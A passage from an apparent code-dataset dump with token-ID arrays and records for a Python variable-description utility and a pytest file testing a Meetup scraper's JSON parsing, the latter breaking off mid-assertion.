29892, 2920, 29962, 304, 518, 3545, 29892, 2920, 29892, 10809, 1402, 322, 4320, 408, 13, 29871, 396, 5785, 29941, 29906, 29889, 13, 29871, 1967, 353, 15886, 29889, 4384, 29898, 13264, 29889, 3286, 4220, 29898, 19488, 29918, 21355, 29892, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29900, 11724, 15886, 29889, 7411, 29941, 29906, 29897, 13, 13, 29871, 736, 1967, 29892, 3858, 13, 13, 13, 1753, 758, 5014, 29918, 3027, 29898, 3027, 29892, 338, 29918, 26495, 1125, 13, 29871, 9995, 6572, 5014, 263, 2323, 1967, 310, 5912, 518, 3545, 29892, 2920, 29892, 10809, 29962, 1213, 15945, 13, 29871, 565, 338, 29918, 26495, 29901, 13, 1678, 396, 2538, 675, 278, 1967, 304, 788, 3023, 4805, 17036, 373, 1269, 2625, 29889, 13, 1678, 1967, 353, 15886, 29889, 3027, 29889, 21476, 29918, 3027, 29918, 2541, 29918, 29883, 1336, 29918, 272, 29918, 8305, 29898, 13, 4706, 1967, 29892, 903, 9606, 22530, 718, 29871, 29947, 29892, 903, 22574, 718, 29871, 29947, 29897, 13, 13, 1678, 396, 16968, 368, 274, 1336, 263, 23160, 9606, 22530, 29892, 903, 22574, 29962, 4004, 310, 278, 1967, 29889, 13, 1678, 1967, 353, 15886, 29889, 8172, 29918, 29883, 1336, 29898, 3027, 29892, 23160, 9606, 22530, 29892, 903, 22574, 29892, 903, 13967, 29918, 3210, 2190, 29940, 6670, 29903, 2314, 13, 13, 1678, 396, 16968, 368, 285, 3466, 278, 1967, 4029, 6753, 635, 29889, 13, 1678, 1967, 353, 15886, 29889, 3027, 29889, 8172, 29918, 29888, 3466, 29918, 1563, 29918, 1266, 29898, 3027, 29897, 13, 13, 29871, 396, 3323, 29873, 1461, 1283, 278, 2099, 322, 16429, 491, 278, 20162, 310, 278, 17036, 29889, 13, 29871, 1967, 353, 15886, 29889, 3027, 29889, 546, 29918, 3027, 29918, 15770, 2133, 29898, 3027, 29897, 13, 29871, 736, 1967, 13, 13, 13, 1753, 1881, 29918, 9144, 29898, 275, 29918, 26495, 29892, 848, 29918, 3972, 29892, 9853, 29918, 2311, 29892, 954, 29918, 1022, 2878, 29879, 29922, 29896, 1125, 13, 29871, 9995, 4290, 29918, 9144, 773, 278, 15886, 29889, 1272, 1881, 16439, 363, 315, 6545, 1718, 29899, 29896, 29900, 8783, 29889, 13, 13, 29871, 826, 3174, 29901, 13, 1678, 338, 29918, 26495, 29901, 319, 7223, 972, 11427, 3692, 278, 1881, 338, 363, 6694, 29889, 13, 1678, 848, 29918, 3972, 29901, 450, 3884, 6943, 278, 1881, 848, 29889, 13, 1678, 9853, 29918, 2311, 29901, 450, 1353, 310, 11916, 639, 9853, 29889, 13, 1678, 954, 29918, 1022, 2878, 29879, 29901, 450, 1353, 310, 21502, 12168, 304, 12312, 278, 8783, 29889, 13, 13, 29871, 16969, 29901, 13, 1678, 319, 18761, 310, 4558, 322, 11073, 29889, 13, 29871, 9995, 13, 29871, 8783, 353, 2407, 29918, 24713, 29898, 657, 29918, 1777, 264, 1280, 29898, 275, 29918, 26495, 29892, 848, 29918, 3972, 876, 13, 13, 29871, 565, 338, 29918, 26495, 29901, 13, 1678, 396, 1932, 23906, 528, 21897, 6835, 15786, 29892, 7200, 15786, 1121, 297, 2253, 13, 1678, 396, 4036, 2264, 29892, 1550, 7968, 15786, 505, 2253, 4180, 29889, 7311, 315, 6545, 1718, 29899, 29896, 29900, 13, 1678, 396, 338, 263, 13774, 2319, 8783, 29892, 591, 6755, 304, 528, 21897, 278, 2989, 21502, 305, 29889, 13, 1678, 8783, 353, 8783, 29889, 845, 21897, 29898, 9040, 29918, 2311, 29922, 29918, 13967, 29918, 2382, 29903, 1839, 14968, 11287, 13, 13, 29871, 8783, 353, 8783, 29889, 1958, 29898, 5510, 29918, 11651, 29897, 13, 29871, 8783, 353, 8783, 29889, 1958, 29898, 13, 418, 14013, 1967, 29892, 3858, 29901, 313, 1457, 5014, 29918, 3027, 29898, 3027, 29892, 338, 29918, 26495, 511, 3858, 876, 13, 13, 29871, 8783, 353, 8783, 29889, 29886, 999, 3486, 29898, 29906, 334, 9853, 29918, 2311, 29897, 13, 13, 29871, 396, 1334, 1246, 12312, 1156, 528, 3096, 1847, 29892, 3265, 1135, 1434, 29892, 304, 5557, 5004, 13, 29871, 396, 21502, 12168, 515, 1999, 2548, 4208, 29889, 13, 29871, 8783, 353, 8783, 29889, 14358, 29898, 1949, 29918, 1022, 2878, 29879, 29897, 13, 13, 29871, 396, 350, 905, 2582, 491, 701, 304, 9853, 29918, 2311, 29892, 322, 769, 6699, 278, 18761, 515, 278, 13, 29871, 396, 20380, 29889, 13, 29871, 8783, 353, 8783, 29889, 16175, 29898, 16175, 29918, 2311, 29897, 13, 29871, 20380, 353, 8783, 29889, 5675, 29918, 650, 29918, 8962, 29918, 17609, 580, 13, 29871, 4558, 29892, 11073, 353, 20380, 29889, 657, 29918, 4622, 580, 13, 13, 29871, 736, 4558, 29892, 11073, 13, 13, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 29937, 13, 29937, 19509, 278, 1904, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 29937, 13, 1990, 315, 361, 279, 29896, 29900, 3195, 29898, 690, 1212, 29918, 4299, 29889, 3195, 1125, 13, 13, 29871, 822, 4770, 2344, 12035, 1311, 29892, 620, 1212, 29918, 2311, 29892, 848, 29918, 4830, 29922, 8516, 1125, 13, 1678, 9995, 1349, 968, 526, 278, 4128, 393, 664, 363, 315, 6545, 1718, 29899, 29896, 29900, 848, 29889, 13, 1678, 9995, 13, 1678, 565, 620, 1212, 29918, 2311, 1273, 29871, 29953, 2804, 29871, 29906, 29901, 13, 418, 12020, 7865, 2392, 877, 690, 1212, 29918, 2311, 1818, 367, 29871, 29953, 29876, 718, 29871, 29906, 29901, 742, 620, 1212, 29918, 2311, 29897, 13, 13, 1678, 954, 29918, 1271, 29879, 353, 313, 690, 1212, 29918, 2311, 448, 29871, 29906, 29897, 849, 29871, 29953, 13, 13, 1678, 2428, 29898, 29907, 361, 279, 29896, 29900, 3195, 29892, 1583, 467, 1649, 2344, 12035, 13, 4706, 620, 1212, 29918, 2311, 29922, 690, 1212, 29918, 2311, 29892, 13, 4706, 954, 29918, 13203, 29922, 29918, 13967, 29918, 6154, 3289, 1660, 29903, 29892, 13, 4706, 954, 29918, 26705, 29922, 29896, 29953, 29892, 13, 4706, 8466, 29918, 2311, 29922, 29941, 29892, 13, 4706, 7602, 29918, 303, 2426, 29922, 29896, 29892, 13, 4706, 937, 29918, 10109, 29918, 2311, 29922, 8516, 29892, 13, 4706, 937, 29918, 10109, 29918, 303, 2426, 29922, 8516, 29892, 13, 4706, 1473, 29918, 10109, 29918, 2311, 29922, 29947, 29892, 13, 4706, 1473, 29918, 10109, 29918, 303, 2426, 29922, 29896, 29892, 13, 4706, 2908, 29918, 9144, 29922, 690, 1212, 29918, 4299, 29889, 25237, 29918, 1271, 29892, 13, 4706, 2908, 29918, 29879, 7093, 11759, 1949, 29918, 1271, 29879, 29962, 334, 29871, 29941, 29892, 13, 4706, 2908, 29918, 710, 2247, 11759, 29896, 29892, 29871, 29906, 29892, 29871, 29906, 1402, 13, 4706, 2186, 29918, 2311, 29922, 29953, 29946, 29892, 13, 4706, 848, 29918, 4830, 29922, 1272, 29918, 4830, 29897, 13, 13, 13, 1753, 274, 361, 279, 29896, 29900, 29918, 4299, 29918, 9144, 29898, 22100, 29892, 11073, 29892, 4464, 29892, 8636, 1125, 13, 29871, 9995, 3195, 740, 363, 315, 6545, 1718, 29899, 29896, 29900, 1213, 15945, 13, 29871, 5680, 353, 15886, 29889, 690, 14443, 29898, 22100, 29892, 21069, 29896, 29892, 903, 9606, 22530, 29892, 903, 22574, 29892, 903, 13967, 29918, 3210, 2190, 29940, 6670, 29903, 2314, 13, 13, 29871, 6509, 29918, 10492, 29918, 9144, 353, 620, 1212, 29918, 12366, 29889, 21891, 29918, 10492, 29918, 2541, 29918, 7099, 388, 29898, 13, 418, 9853, 29918, 2311, 29922, 7529, 1839, 16175, 29918, 2311, 7464, 9853, 29918, 1145, 290, 29922, 29896, 29906, 29947, 29892, 13, 418, 954, 29918, 8346, 29922, 29918, 13967, 29918, 2382, 29903, 1839, 14968, 7464, 10452, 29918, 1022, 2878, 29879, 11759, 29896, 29900, 29900, 29892, 29871, 29896, 29945, 29900, 29892, 29871, 29906, 29900, 29900, 1402, 13, 418, 20228, 29918, 29878, 1078, 11759, 29896, 29892, 29871, 29900, 29889, 29896, 29892, 29871, 29900, 29889, 29900, 29896, 29892, 29871, 29900, 29889, 29900, 29900, 29896, 2314, 13, 13, 29871, 396, 1334, 671, 263, 7688, 20228, 310, 29871, 29900, 29889, 29900, 29900, 29900, 29906, 29892, 607, 23233, 2253, 13, 29871, 396, 1135, 278, 29871, 29900, 29889, 29900, 29900, 29900, 29896, 393, 471, 10437, 7829, 29889, 13, 29871, 7688, 29918, 7099, 388, 353, 29871, 29906, 29872, 29899, 29946, 13, 13, 29871, 396, 7361, 381, 936, 6724, 10018, 393, 3704, 9853, 29918, 8945, 2133, 3651, 13, 29871, 396, 297, 278, 13944, 310, 4943, 1891, 6410, 9213, 8845, 13600, 13, 29871, 396, 363, 278, 315, 6545, 1718, 29899, 29896, 29900, 8783, 29892, 6060, 1363, 278, 4943, 2133, 28057, 13, 29871, 396, 975, 29888, 5367, 373, 278, 2319, 848, 731, 29889, 1334, 5480, 3160, 599, 24987, 746, 13, 29871, 396, 4943, 5281, 322, 20602, 6410, 2645, 6694, 29889, 13, 29871, 822, 6410, 29918, 4572, 29918, 9144, 29898, 978, 1125, 13, 1678, 736, 5852, 13, 13, 29871, 736, 620, 1212, 29918, 12366, 29889, 690, 1212, 29918, 4299, 29918, 9144, 29898, 22100, 29892, 11073, 29892, 4464, 29892, 315, 361, 279, 29896, 29900, 3195, 29892, 13, 462, 462, 539, 620, 1212, 29918, 2311, 29922, 7529, 1839, 690, 1212, 29918, 2311, 7464, 13, 462, 462, 539, 7688, 29918, 7099, 388, 29922, 7915, 29918, 7099, 388, 29892, 13, 462, 462, 539, 6509, 29918, 10492, 29918, 9144, 29922, 21891, 29918, 10492, 29918, 9144, 29892, 13, 462, 462, 539, 19399, 29922, 29900, 29889, 29929, 29892, 13, 462, 462, 539, 848, 29918, 4830, 29922, 7529, 1839, 1272, 29918, 4830, 7464, 13, 462, 462, 539, 6410, 29918, 4572, 29918, 9144, 29922, 6758, 29918, 4572, 29918, 9144, 29897, 13, 13, 13, 1753, 1667, 29898, 348, 3880, 29918, 19218, 1125, 13, 29871, 620, 1212, 29918, 12366, 29889, 690, 1212, 29918, 3396, 29898, 18823, 10749, 29892, 274, 361, 279, 29896, 29900, 29918, 4299, 29918, 9144, 29892, 1881, 29918, 9144, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29871, 15886, 29889, 21027, 29889, 842, 29918, 18248, 359, 537, 29898, 13264, 29889, 21027, 29889, 11690, 29897, 13, 13, 29871, 13812, 353, 620, 1212, 29918, 12366, 29889, 1666, 1212, 8559, 11726, 580, 13, 29871, 396, 3789, 21274, 393, 526, 15590, 363, 445, 1904, 29889, 13, 29871, 13812, 29889, 842, 29918, 4381, 29879, 29898, 1272, 29918, 3972, 2433, 29914, 7050, 29914, 29883, 361, 279, 29896, 29900, 29918, 1272, 742, 13, 462, 418, 1904, 29918, 3972, 2433, 29914, 7050, 29914, 29883, 361, 279, 29896, 29900, 29918, 4299, 742, 13, 462, 418, 620, 1212, 29918, 2311, 29922, 29941, 29906, 29892, 13, 462, 418, 7945, 29918, 1022, 2878, 29879, 29922, 29906, 29945, 29900, 29892, 13, 462, 418, 21502, 12168, 29918, 546, 29918, 14513, 29922, 29896, 29900, 29892, 13, 462, 418, 9853, 29918, 2311, 29922, 29896, 29906, 29947, 29897, 13, 13, 29871, 383, 4375, 10749, 29892, 443, 862, 8485, 353, 13812, 29889, 5510, 29918, 5203, 29918, 5085, 580, 13, 29871, 15886, 29889, 932, 29889, 3389, 29898, 19218, 11759, 9675, 29889, 19218, 29961, 29900, 5262, 718, 443, 862, 8485, 29897, 13, 2 ]
src/describe_variable/tools.py
MikeMajara/describe-variable
1
1616765
from difflib import ndiff from .describer import Describer START_INDENT = 0 DEFAULT_DEPTH = 0 DEFAULT_SPACES = 4 DEFAULT_PRINT_VALUES = True DEFAULT_PRINT_COMPONENTS_MAX = 4 DEFAULT_PRINT_COMPONENTS_TYPE = True def describe(v: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> None: """ Print the description of a variable. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) print(desc.describe_var(v, depth, indent=START_INDENT)) def get_description(v: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> str: """ Get the description of a variable as a string. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) return desc.describe_var(v, depth, indent=START_INDENT) def diff(v1: any, v2: any, depth=DEFAULT_DEPTH, spaces=DEFAULT_SPACES, indent=START_INDENT, print_values=DEFAULT_PRINT_VALUES, print_components_types=DEFAULT_PRINT_COMPONENTS_TYPE, print_components_max=DEFAULT_PRINT_COMPONENTS_MAX) -> str: """ Find differences between two variables description. This is specially useful using when values are printed out. Also note that differences are only found from description, so the differences found depend on the depth parameter. :param v: the variable to be described. :type v: any :param depth: sets the depth of the description (for dicts). :type depth: int :param spaces: sets the number of spaces of the indent. (default: 4) :type spaces: int :param print_values: should the values of the variables be printed. (default: True) :type print_values: bool :param print_components_types: should the types of the variables be printed. (default: True) :type print_components_types: bool :param print_components_max: sets the number of spaces of the indent. :type print_components_max: bool """ desc = Describer(spaces, print_values, print_components_types, print_components_max) description_v1 = desc.describe_var(v1, depth, indent=START_INDENT) description_v2 = desc.describe_var(v2, depth, indent=START_INDENT) print(''.join(ndiff(description_v1.splitlines(1), description_v2.splitlines(1))))
[ 1, 515, 2923, 1982, 1053, 29871, 299, 2593, 13, 3166, 869, 2783, 699, 495, 1053, 20355, 495, 13, 13, 25826, 29918, 22255, 3919, 353, 29871, 29900, 13, 13, 23397, 29918, 2287, 29925, 4690, 353, 29871, 29900, 13, 23397, 29918, 5550, 2477, 2890, 353, 29871, 29946, 13, 23397, 29918, 10593, 10192, 29918, 8932, 12996, 353, 5852, 13, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 12648, 353, 29871, 29946, 13, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 11116, 353, 5852, 13, 13, 13, 1753, 8453, 29898, 29894, 29901, 738, 29892, 13, 632, 10809, 29922, 23397, 29918, 2287, 29925, 4690, 29892, 13, 632, 8162, 29922, 23397, 29918, 5550, 2477, 2890, 29892, 13, 632, 29536, 29922, 25826, 29918, 22255, 3919, 29892, 13, 632, 1596, 29918, 5975, 29922, 23397, 29918, 10593, 10192, 29918, 8932, 12996, 29892, 13, 632, 1596, 29918, 14036, 29918, 8768, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 11116, 29892, 13, 632, 1596, 29918, 14036, 29918, 3317, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 12648, 29897, 1599, 6213, 29901, 13, 1678, 9995, 13, 1678, 13905, 278, 6139, 310, 263, 2286, 29889, 13, 1678, 584, 3207, 325, 29901, 278, 2286, 304, 367, 5439, 29889, 13, 1678, 584, 1853, 325, 29901, 738, 13, 1678, 584, 3207, 10809, 29901, 6166, 278, 10809, 310, 278, 6139, 313, 1454, 9657, 29879, 467, 13, 1678, 584, 1853, 10809, 29901, 938, 13, 1678, 584, 3207, 8162, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 313, 4381, 29901, 29871, 29946, 29897, 13, 1678, 584, 1853, 8162, 29901, 938, 13, 1678, 584, 3207, 1596, 29918, 5975, 29901, 881, 278, 1819, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 5975, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 8768, 29901, 881, 278, 4072, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 8768, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 3317, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 3317, 29901, 6120, 13, 1678, 9995, 13, 1678, 5153, 353, 20355, 495, 29898, 22854, 29892, 1596, 29918, 5975, 29892, 1596, 29918, 14036, 29918, 8768, 29892, 1596, 29918, 14036, 29918, 3317, 29897, 13, 1678, 1596, 29898, 14273, 29889, 2783, 29581, 29918, 1707, 29898, 29894, 29892, 10809, 29892, 29536, 29922, 25826, 29918, 22255, 3919, 876, 13, 13, 13, 1753, 679, 29918, 8216, 29898, 29894, 29901, 738, 29892, 13, 462, 1678, 10809, 29922, 23397, 29918, 2287, 29925, 4690, 29892, 13, 462, 1678, 8162, 29922, 23397, 29918, 5550, 2477, 2890, 29892, 13, 462, 1678, 29536, 29922, 25826, 29918, 22255, 3919, 29892, 13, 462, 1678, 1596, 29918, 5975, 29922, 23397, 29918, 10593, 10192, 29918, 8932, 12996, 29892, 13, 462, 1678, 1596, 29918, 14036, 29918, 8768, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 11116, 29892, 13, 462, 1678, 1596, 29918, 14036, 29918, 3317, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 12648, 29897, 1599, 851, 29901, 13, 1678, 9995, 13, 1678, 3617, 278, 6139, 310, 263, 2286, 408, 263, 1347, 29889, 13, 1678, 584, 3207, 325, 29901, 278, 2286, 304, 367, 5439, 29889, 13, 1678, 584, 1853, 325, 29901, 738, 13, 1678, 584, 3207, 10809, 29901, 6166, 278, 10809, 310, 278, 6139, 313, 1454, 9657, 29879, 467, 13, 1678, 584, 1853, 10809, 29901, 938, 13, 1678, 584, 3207, 8162, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 313, 4381, 29901, 29871, 29946, 29897, 13, 1678, 584, 1853, 8162, 29901, 938, 13, 1678, 584, 3207, 1596, 29918, 5975, 29901, 881, 278, 1819, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 5975, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 8768, 29901, 881, 278, 4072, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 8768, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 3317, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 3317, 29901, 6120, 13, 1678, 9995, 13, 1678, 5153, 353, 20355, 495, 29898, 22854, 29892, 1596, 29918, 5975, 29892, 1596, 29918, 14036, 29918, 8768, 29892, 1596, 29918, 14036, 29918, 3317, 29897, 13, 1678, 736, 5153, 29889, 2783, 29581, 29918, 1707, 29898, 29894, 29892, 10809, 29892, 29536, 29922, 25826, 29918, 22255, 3919, 29897, 13, 13, 13, 1753, 2923, 29898, 29894, 29896, 29901, 738, 29892, 325, 29906, 29901, 738, 29892, 13, 308, 10809, 29922, 23397, 29918, 2287, 29925, 4690, 29892, 13, 308, 8162, 29922, 23397, 29918, 5550, 2477, 2890, 29892, 13, 308, 29536, 29922, 25826, 29918, 22255, 3919, 29892, 13, 308, 1596, 29918, 5975, 29922, 23397, 29918, 10593, 10192, 29918, 8932, 12996, 29892, 13, 308, 1596, 29918, 14036, 29918, 8768, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 11116, 29892, 13, 308, 1596, 29918, 14036, 29918, 3317, 29922, 23397, 29918, 10593, 10192, 29918, 21514, 1164, 3919, 29903, 29918, 12648, 29897, 1599, 851, 29901, 13, 1678, 9995, 13, 1678, 10987, 12651, 1546, 1023, 3651, 6139, 29889, 13, 1678, 910, 338, 961, 5584, 5407, 773, 746, 1819, 526, 13350, 714, 29889, 13, 1678, 3115, 4443, 393, 12651, 526, 871, 1476, 515, 6139, 29892, 13, 1678, 577, 278, 12651, 1476, 8839, 373, 278, 10809, 3443, 29889, 13, 1678, 584, 3207, 325, 29901, 278, 2286, 304, 367, 5439, 29889, 13, 1678, 584, 1853, 325, 29901, 738, 13, 1678, 584, 3207, 10809, 29901, 6166, 278, 10809, 310, 278, 6139, 313, 1454, 9657, 29879, 467, 13, 1678, 584, 1853, 10809, 29901, 938, 13, 1678, 584, 3207, 8162, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 313, 4381, 29901, 29871, 29946, 29897, 13, 1678, 584, 1853, 8162, 29901, 938, 13, 1678, 584, 3207, 1596, 29918, 5975, 29901, 881, 278, 1819, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 5975, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 8768, 29901, 881, 278, 4072, 310, 278, 3651, 367, 13350, 29889, 313, 4381, 29901, 5852, 29897, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 8768, 29901, 6120, 13, 1678, 584, 3207, 1596, 29918, 14036, 29918, 3317, 29901, 6166, 278, 1353, 310, 8162, 310, 278, 29536, 29889, 13, 1678, 584, 1853, 1596, 29918, 14036, 29918, 3317, 29901, 6120, 13, 1678, 9995, 13, 1678, 5153, 353, 20355, 495, 29898, 22854, 29892, 1596, 29918, 5975, 29892, 1596, 29918, 14036, 29918, 8768, 29892, 1596, 29918, 14036, 29918, 3317, 29897, 13, 1678, 6139, 29918, 29894, 29896, 353, 5153, 29889, 2783, 29581, 29918, 1707, 29898, 29894, 29896, 29892, 10809, 29892, 29536, 29922, 25826, 29918, 22255, 3919, 29897, 13, 1678, 6139, 29918, 29894, 29906, 353, 5153, 29889, 2783, 29581, 29918, 1707, 29898, 29894, 29906, 29892, 10809, 29892, 29536, 29922, 25826, 29918, 22255, 3919, 29897, 13, 1678, 1596, 877, 4286, 7122, 29898, 299, 2593, 29898, 8216, 29918, 29894, 29896, 29889, 5451, 9012, 29898, 29896, 511, 6139, 29918, 29894, 29906, 29889, 5451, 9012, 29898, 29896, 13697, 13, 2 ]
tests/api_client/test_json_parser.py
saxsys/flask-meetup-data-scraper
1
193229
<gh_stars>1-10 import time from datetime import datetime from time import sleep import pytest from meetup_search.meetup_api_client.exceptions import ( EventAlreadyExists, InvalidResponse, ) from meetup_search.meetup_api_client.json_parser import ( get_category_from_response, get_event_from_response, get_event_host_from_response, get_group_from_response, get_group_organizer_from_response, get_meta_category_from_response, get_topic_from_response, get_venue_from_response, ) from meetup_search.models.group import Event, Group, Topic from tests.meetup_api_demo_response import ( get_category_response, get_event_host_response, get_event_response, get_group_response, get_member_response, get_meta_category_response, get_topic_response, get_venue_response, ) def test_get_group_from_response(): # set group response group_1_response: dict = get_group_response( meetup_id=1, urlname="group_1", content=False ) group_2_response: dict = get_group_response( meetup_id=2, urlname="group_2", content=True ) # get group model group_1: Group = get_group_from_response(response=group_1_response) group_2: Group = get_group_from_response(response=group_2_response) # assert group_1 assert isinstance(group_1, Group) assert group_1.meetup_id == group_1_response["id"] assert group_1.urlname == group_1_response["urlname"] assert ( time.mktime(group_1.created.timetuple()) == group_1_response["created"] / 1000 ) assert group_1.description == group_1_response["description"] assert group_1.location == { "lat": group_1_response["lat"], "lon": group_1_response["lon"], } assert group_1.link == group_1_response["link"] assert group_1.members == group_1_response["members"] assert group_1.name == group_1_response["name"] assert group_1.nomination_acceptable is False assert group_1.status == group_1_response["status"] assert group_1.timezone == group_1_response["timezone"] assert group_1.visibility == group_1_response["visibility"] assert group_1.short_link is None assert group_1.welcome_message is None assert group_1.city is None assert group_1.city_link is None assert group_1.untranslated_city is None assert group_1.country is None assert group_1.localized_country_name is None assert group_1.localized_location is None assert group_1.state is None assert group_1.join_mode is None assert group_1.fee_options_currencies_code is None assert group_1.fee_options_currencies_default is None assert group_1.fee_options_type is None assert group_1.member_limit is None assert group_1.who is None # category assert group_1.category_id is None assert group_1.category_name is None assert group_1.category_shortname is None assert group_1.category_sort_name is None # meta_category assert group_1.meta_category_id is None assert group_1.meta_category_shortname is None assert group_1.meta_category_name is None assert group_1.meta_category_sort_name is None # topics assert len(group_1.topics) == 0 # organizer assert group_1.organizer_id is None assert group_1.organizer_name is None assert group_1.organizer_bio is None # assert group_2 assert isinstance(group_2, Group) assert group_2.meetup_id == group_2_response["id"] assert group_2.urlname == group_2_response["urlname"] assert ( time.mktime(group_2.created.timetuple()) == group_2_response["created"] / 1000 ) assert group_2.description == group_2_response["description"] assert group_2.location == { "lat": group_2_response["lat"], "lon": group_2_response["lon"], } assert group_2.link == group_2_response["link"] assert group_2.members == group_2_response["members"] assert group_2.name == group_2_response["name"] assert group_2.nomination_acceptable is True assert group_2.status == group_2_response["status"] assert group_2.timezone == group_2_response["timezone"] assert group_2.visibility == group_2_response["visibility"] assert group_2.short_link == group_2_response["short_link"] assert group_2.welcome_message == group_2_response["welcome_message"] assert group_2.city == group_2_response["city"] assert group_2.city_link == group_2_response["city_link"] assert group_2.untranslated_city == group_2_response["untranslated_city"] assert group_2.country == group_2_response["country"] assert group_2.localized_country_name == group_2_response["localized_country_name"] assert group_2.localized_location == group_2_response["localized_location"] assert group_2.state == group_2_response["state"] assert group_2.join_mode == group_2_response["join_mode"] assert ( group_2.fee_options_currencies_code == group_2_response["fee_options"]["currencies"]["code"] ) assert ( group_2.fee_options_currencies_default == group_2_response["fee_options"]["currencies"]["default"] ) assert group_2.fee_options_type == group_2_response["fee_options"]["type"] assert group_2.member_limit == group_2_response["member_limit"] assert group_2.who == group_2_response["who"] # category assert group_2.category_id == group_2_response["category"]["id"] assert group_2.category_name is None assert group_2.category_shortname is None assert group_2.category_sort_name is None # meta_category assert group_2.meta_category_id == group_2_response["meta_category"]["id"] assert ( group_2.meta_category_shortname == group_2_response["meta_category"]["shortname"] ) assert group_2.meta_category_name == group_2_response["meta_category"]["name"] assert ( group_2.meta_category_sort_name == group_2_response["meta_category"]["sort_name"] ) # topics assert len(group_2.topics) == 1 assert isinstance(group_2.topics[0], Topic) # organizer assert group_2.organizer_id == group_2_response["organizer"]["id"] assert group_2.organizer_name is None assert group_2.organizer_bio is None def test_get_event_from_response(): # set group model group_1: Group = get_group_from_response( response=get_group_response(urlname="group_event_1") ) # set event response event_1_response: dict = get_event_response(meetup_id="1", content=False) event_2_response: dict = get_event_response(meetup_id="2", content=True) # get event model event_1: Event = get_event_from_response(response=event_1_response, group=group_1) event_2: Event = get_event_from_response(response=event_2_response, group=group_1) # assert event_1 assert isinstance(event_1, Event) assert event_1.meetup_id == event_1_response["id"] assert event_1.time == datetime.fromtimestamp(event_1_response["time"] / 1000) assert event_1.created is None assert event_1.name == event_1_response["name"] assert event_1.link == event_1_response["link"] assert event_1.attendance_count is None assert event_1.attendance_sample is None assert event_1.attendee_sample is None assert event_1.date_in_series_pattern is False assert event_1.description is None assert event_1.description is None assert event_1.duration is None # event_hosts assert event_1.fee_accepts is None assert event_1.fee_amount is None assert event_1.fee_currency is None assert event_1.fee_description is None assert event_1.fee_label is None assert event_1.how_to_find_us is None assert event_1.status is None assert event_1.updated is None assert event_1.utc_offset is None # venue assert event_1.venue_visibility is None assert event_1.visibility is None # save group group_1.add_event(event_1) group_1.add_event(event_2) group_1.save() sleep(1) # assert event_2 assert isinstance(event_2, Event) assert event_2.meetup_id == event_2_response["id"] assert event_2.time == datetime.fromtimestamp(event_2_response["time"] / 1000) assert event_2.created == datetime.fromtimestamp(event_2_response["created"] / 1000) assert event_2.name == event_2_response["name"] assert event_2.link == event_2_response["link"] assert event_2.attendance_count == event_2_response["attendance_count"] assert event_2.attendance_sample == event_2_response["attendance_sample"] assert event_2.attendee_sample == event_2_response["attendee_sample"] assert event_2.date_in_series_pattern == event_2_response["date_in_series_pattern"] assert event_2.description == event_2_response["description"] assert event_2.description == event_2_response["description"] assert event_2.duration == event_2_response["duration"] # event_hosts assert event_2.fee_accepts == event_2_response["fee"]["accepts"] assert event_2.fee_amount == event_2_response["fee"]["amount"] assert event_2.fee_currency == event_2_response["fee"]["currency"] assert 